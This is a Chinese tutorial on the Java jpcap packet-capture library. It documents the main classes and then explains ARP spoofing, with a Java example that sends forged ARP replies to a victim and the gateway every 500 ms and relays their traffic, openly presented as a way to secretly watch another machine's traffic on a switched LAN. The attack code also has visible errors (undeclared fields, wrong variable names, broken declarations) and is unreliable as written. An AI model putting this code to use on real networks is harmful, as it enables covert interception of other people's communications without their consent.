一．jpcap简介

　　众所周知，java语言虽然在tcp/udp传输方面给予了良好的定义，但对于网络层以下的控制，却是无能为力的。jpcap扩展包弥补了这一点。

　　jpcap实际上并非一个真正去实现对数据链路层的控制，而是一个中间件，jpcap调用wincap/libpcap，而给java语言提供一个公共的接口，从而实现了平台无关性。在官方网站上声明，jpcap支持freebsd 3.x, linux redhat 6.1, fedora core 4, solaris, and microsoft windows 2000/xp等系统。

　　二．jpcap机制

　　jpcap的整个结构大体上跟wincap/libpcap是很相像的，例如networkinterface类对应wincap的typedef struct _adapteradapter，getdevicelist()对应pcap_findalldevs()等等。 jpcap有16个类，下面就其中最重要的4个类做说明。

　　1．networkinterface

　　该类的每一个实例代表一个网络设备，一般就是网卡。这个类只有一些数据成员，除了继承自java.lang.object的基本方法以外，没有定义其它方法。

数据成员
networkinterfaceaddress[]
java.lang.string	datalink_description. 数据链路层的描述。描述所在的局域网是什么网。例如，以太网（ethernet）、无线lan网（wireless lan）、令牌环网(token ring)等等。
java.lang.string	datalink_name 该网络设备所对应数据链路层的名称。具体来说，例如ethernet10m、100m、1000m等等。
java.lang.string	description 网卡是xxxx牌子xxxx型号之类的描述。例如我的网卡描述：realtek rtl8169/8110 family gigabit ethernet nic
boolean	loopback 标志这个设备是否loopback设备。
byte[]	mac_address 网卡的mac地址，6个字节。
java.lang.string	name 这个设备的名称。例如我的网卡名称：\device\npf_{3ce5fda5-e15d-4f87-b217-255bcb351cd5}

　　2．jpcapcaptor

　　该类提供了一系列静态方法实现一些基本的功能。该类一个实例代表建立了一个与指定设备的链接，可以通过该类的实例来控制设备，例如设定网卡模式、设定过滤关键字等等。

数据成员
int	dropped_packets 抛弃的包的数目。
protected int	id 这个数据成员在官方文档中并没有做任何说明，查看jpcap源代码可以发现这个id实际上在其jni的c代码部分传进来的，这类本身并没有做出定义，所以是供其内部使用的。实际上在对jpcapcator实例的使用中也没有办法调用此数据成员。
protected staticboolean[]	instanciatedflag 同样在官方文档中没有做任何说明，估计其为供内部使用。
protected staticint	max_number_of_instance 同样在官方文档中没有做任何说明，估计其为供内部使用。
int	received_packets 收到的包的数目
方法成员
staticnetworkinterface[]	getdevicelist() 返回一个网络设备列表。
staticjpcapcaptor	opendevice(networkinterface interface, intsnaplen, booleanpromisc, intto_ms) 创建一个与指定设备的连接并返回该连接。注意，以上两个方法都是静态方法。 interface：要打开连接的设备的实例； snaplen：这个是比较容易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包，而是限制每一次收到一个数据包，只提取该数据包中前多少字节； promisc：设置是否混杂模式。处于混杂模式将接收所有数据包，若之后又调用了包过滤函数setfilter()将不起任何作用； to_ms：这个参数主要用于processpacket()方法，指定超时的时间；
void	close() 关闭调用该方法的设备的连接，相对于opendivece()打开连接。
jpcapsender	getjpcapsenderinstance() 该返回一个jpcapsender实例，jpcapsender类是专门用于控制设备的发送数据包的功能的类。
packet	getpacket() 捕捉并返回一个数据包。这是jpcapcaptor实例中四种捕捉包的方法之一。
int	looppacket(intcount, packetreceiver handler) 捕捉指定数目的数据包，并交由实现了packetreceiver接口的类的实例处理，并返回捕捉到的数据包数目。如果count参数设为－1，那么无限循环地捕捉数据。 这个方法不受超时的影响。还记得opendivice()中的to_ms参数么？那个参数对这个方法没有影响，如果没有捕捉到指定数目数据包，那么这个方法将一直阻塞等待。 packetreceiver中只有一个抽象方法void receive(packet p)。
int	processpacket(intcount, packetreceiver handler) 跟looppacket()功能一样，唯一的区别是这个方法受超时的影响，超过指定时间自动返回捕捉到数据包的数目。
int	dispatchpacket(intcount, packetreceiverhandler) 跟processpacket()功能一样，区别是这个方法可以处于“non-blocking”模式工作，在这种模式下dispatchpacket()可能立即返回，即使没有捕捉到任何数据包。
void	setfilter(java.lang.stringcondition, booleanoptimize) .condition：设定要提取的包的关键字。 optimize：这个参数在说明文档以及源代码中都没有说明，只是说这个参数如果为真，那么过滤器将处于优化模式。
void	setnonblockingmode(booleannonblocking) 如果值为“true”，那么设定为“non-blocking”模式。
void	breakloop() 当调用processpacket()和looppacket()后，再调用这个方法可以强制让processpacket()和looppacket()停止。

　　3．jpcapsender

　　该类专门用于控制数据包的发送。

方法成员
void	close() 强制关闭这个连接。
staticjpcapsender	openrawsocket() 这个方法返回的jpcapsender实例发送数据包时将自动填写数据链路层头部分。
void	sendpacket(packet packet) jpcapsender最重要的功能，发送数据包。需要注意的是，如果调用这个方法的实例是由jpcapcaptor的getjpcapsenderinstance()得到的话，需要自己设定数据链路层的头，而如果是由上面的openrawsocket()得到的话，那么无需也不能设置，数据链路层的头部将由系统自动生成。

　　4．packet

　　这个是所有其它数据包类的父类。jpcap所支持的数据包有：
arppacket、datalinkpacket、ethernetpacket、icmppacket、ippacket、tcppacket、udppacket

    三．使用jpcap实现监听

　　1．监听原理　

　　在详细说用jpcap实现网络监听实现前，先简单介绍下监听的原理。

　　局域网监听利用的是所谓的“arp欺骗”技术。在以前曾经一段阶段，局域网的布局是使用总线式（或集线式）结构，要到达监听只需要将网卡设定为混杂模式即可，但现在的局域网络普遍采用的是交换式网络，所以单纯靠混杂模式来达到监听的方法已经不可行了。所以为了达到监听的目的，我们需要“欺骗”路由器、“欺骗”交换机，即“arp欺骗”技术。

　　假设本机为a，监听目标为b。

　　首先，伪造一个arp reply包，数据链路层头及arp内容部分的源mac地址填入a的mac地址，而源ip部分填入网关ip，目的地址填入b的mac、ip，然后将这个包发送给b，而b接收到这个伪造的arp reply包后，由于源ip为网关ip，于是在它的arp缓存表里刷新了一项，将（网关ip，网关mac）刷新成（网关ip，a的mac）。而b要访问外部的网都需要经过网关，这时候这些要经过网关的包就通通流到a的机器上来了。

　　接着，再伪造一个arp reply包，数据链路层头及arp内容部分的源mac地址填入a的mac地址，而源ip部分填入b的ip，目的地址填入网关mac、ip，然后将这个包发给网关，网关接收到这个伪造的arp reply包后，由于源ip为b的ip，于是在它的arp缓存表里刷新了一项，将（b的ip，b的mac）刷新成（b的ip，a的mac）。这时候外部传给b的数据包经过网关时，就通通转发给a。

　　这样还只是拦截了b的数据包而已，b并不能上网――解决方法是将接收到的包，除了目的地址部分稍做修改，其它原封不动的再转发出去，这样就达到了监听的目的――在b不知不觉中浏览了b所有的对外数据包。

　　arp数据包解析

　　单元：byte

ethernet头部			arp数据部分
6	6	2	2	2	2	2	4	6	4	6
目标mac地址	源地mac地址	类型号0x0800:ip 0x0806:arp	局域网类型 以太网0x0001	网络协议类型 ip网络0x0800	mac/ip地址长度，恒为0x06/04	arp包类型 reply 0x0002	arp目标ip地址	arp目标mac 地址	arp源ip地址	arp源mac地址

　　2．用jpcap实现监听

　　就如上面说的，为了实现监听，我们必须做四件事：

　　a．发送arp包修改b的arp缓存表；

　　b．发送arp包修改路由arp缓存表；

　　c．转发b发过来的数据包；

　　d．转发路由发过来的数据包；

　　下面我们给个小小的例子说明怎样实现。

　　我们假定运行这个程序的机器a只有一个网卡，只接一个网络，所在局域网为ethernet，并且假定已经通过某种方式获得b和网关的mac地址（例如arp解析获得）。我们修改了b和网关的arp表，并对他们的包进行了转发。

public class changearp{ 　private networkinterface[] devices; //设备列表 　private networkinterface device; //要使用的设备 　private jpcapcaptor jpcap; //与设备的连接 　private jpcapsender sender; //用于发送的实例 　private byte[] targetmac, gatemac; //b的mac地址，网关的mac地址 　private byte[] string targetip, string gateip; //b的ip地址，网关的ip地址 　/** 　*初始化设备 　* jpcapcaptor.getdevicelist()得到设备可能会有两个，其中一个必定是“generic 　*dialup adapter”，这是windows系统的虚拟网卡，并非真正的硬件设备。 　*注意：在这里有一个小小的bug，如果jpcapcaptor.getdevicelist()之前有类似jframe jf=new 　*jfame（）这类的语句会影响得到设备个数，只会得到真正的硬件设备，而不会出现虚拟网卡。 　*虚拟网卡只有mac地址而没有ip地址，而且如果出现虚拟网卡，那么实际网卡的mac将分 　*配给虚拟网卡，也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。 　*/ 　private networkinterface getdevice() throws ioexception { 　　devices = jpcapcaptor.getdevicelist(); //获得设备列表 　　device = devices[0];//只有一个设备 　　jpcap = jpcapcaptor.opendevice(device, 2000, false, 10000); //打开与设备的连接 　　jpcap.setfilter(“ip”,true); //只监听b的ip数据包 　　sender = captor.getjpcapsenderinstance(); 　} 　/** 　*修改b和网关的arp表。因为网关会定时发数据包刷新自己和b的缓存表，所以必须每隔一 　*段时间就发一次包重新更改b和网关的arp表。 　*@参数 targetmac b的mac地址，可通过arp解析得到； 　*@参数 targetip b的ip地址； 　*@参数 gatemac 网关的mac地址； 　*/ 　public changearp(byte[] targetmac, string targetip,byte[] gatemac, string gateip) 　throws unknownhostexception,interruptedexception { 　　this. targetmac = targetmac; 　　this. targetip = targetip; 　　this. gatemac = gatemac; 　　this. gateip = gateip; 　　getdevice(); 　　arptarget = new arppacket(); //修改b的arp表的arp包 　　arptarget.hardtype = arppacket.hardtype_ether; //选择以太网类型(ethernet) 　　arptarget.prototype = arppacket.prototype_ip; //选择ip网络协议类型 　　arptarget.operation = arppacket.arp_reply; //选择reply类型 　　arptarget.hlen = 6; //mac地址长度固定6个字节 　　arptarget.plen = 4; //ip地址长度固定4个字节 　　arptarget.sender_hardaddr = device.mac_address; //a的mac地址 　　arptarget.sender_protoaddr = inetaddress.getbyname(gateip).getaddress(); //网关ip 　　arptarget.target_hardaddr = targetmac; //b的mac地址 　　arptarget.target_protoaddr = inetaddress.getbyname(targetip).getaddress(); //b的ip 　　ethernetpacket ethtotarget = new ethernetpacket(); //创建一个以太网头 　　ethtotarget.frametype = ethernetpacket.ethertype_arp;//选择以太包类型 　　ethtotarget.src_mac = device.mac_address; //a的mac地址 　　ethtotarget.dst_mac = targetmac; //b的mac地址 　　arptarget.datalink = ethtotarget; //将以太头添加到arp包前 　　arpgate = new arppacket(); //修改网关arp表的包 　　arpgate.hardtype = arppacket.hardtype_ether; //跟以上相似，不再重复注析 　　arpgate.prototype = arppacket.prototype_ip; 　　arpgate.operation = arppacket.arp_reply; 　　arpgate.hlen = 6; 　　arpgate.plen = 4; 　　arpgate.sender_hardaddr = device.mac_address; 　　arpgate.sender_protoaddr = inetaddress.getbyname(targetip).getaddress(); 　　arpgate.target_hardaddr = gatemac; 　　arpgate.target_protoaddr = inetaddress.getbyname(gateip).getaddress(); 　　ethernetpacket ethtogate = new ethernetpacket(); 　　ethtogate.frametype = ethernetpacket.ethertype_arp; 　　ethtogate.src_mac = device.mac_address; 　　ethtogate.dst_mac = gatemac; 　　arpgate.datalink = ethtogate; 　　thread=new thread(new runnable(){ //创建一个进程控制发包速度 　　public void run() { 　　　while (true) { 　　　　sender.sendpacket(arptarget); 　　　　sender.sendpacket(arpgate); 　　　　thread.sleep(500); 　　　}).start(); 　　　recp(); //接收数据包并转发 　　} 　　/** 　　*修改包的以太头，转发数据包 　　*参数 packet 收到的数据包 　　*参数 changemac 要转发出去的目标 　　*/ 　　private void send(packet packet, byte[] changemac) { 　　　ethernetpacket eth; 　　　if (packet.datalink instanceof ethernetpacket) { 　　　　eth = (ethernetpacket) packet.datalink; 　　　　for (int i = 0; i < 6; i++) { 　　　　　eth.dst_mac[i] = changemac[i]; //修改包以太头，改变包的目标 　　　　　eth.src_mac[i] = device.mac_address[i]; //源发送者为a 　　　　} 　　　　sender.sendpacket(packet); 　　　} 　　} 　　/** 　　*打印接受到的数据包并转发 　　*/ 　　public void recp(){ 　　　ippacket ippacket = null; 　　　while(true){ 　　　　ippacket = （ippacket）jpcap.getpacket(); 　　　　system.out.println(ippacket); 　　　　if (ippacket.src_ip.gethostaddress().equals(targetip)) 　　　　　send(packet, gatemac); 　　　　else 　　　　　send(packet, targetmac); 　　　} 　　}

　　注意：这个例子只是为了说明问题，并没有考虑到程序的健壮性，所以并不一定能在任何一台机器任何一个系统上运行。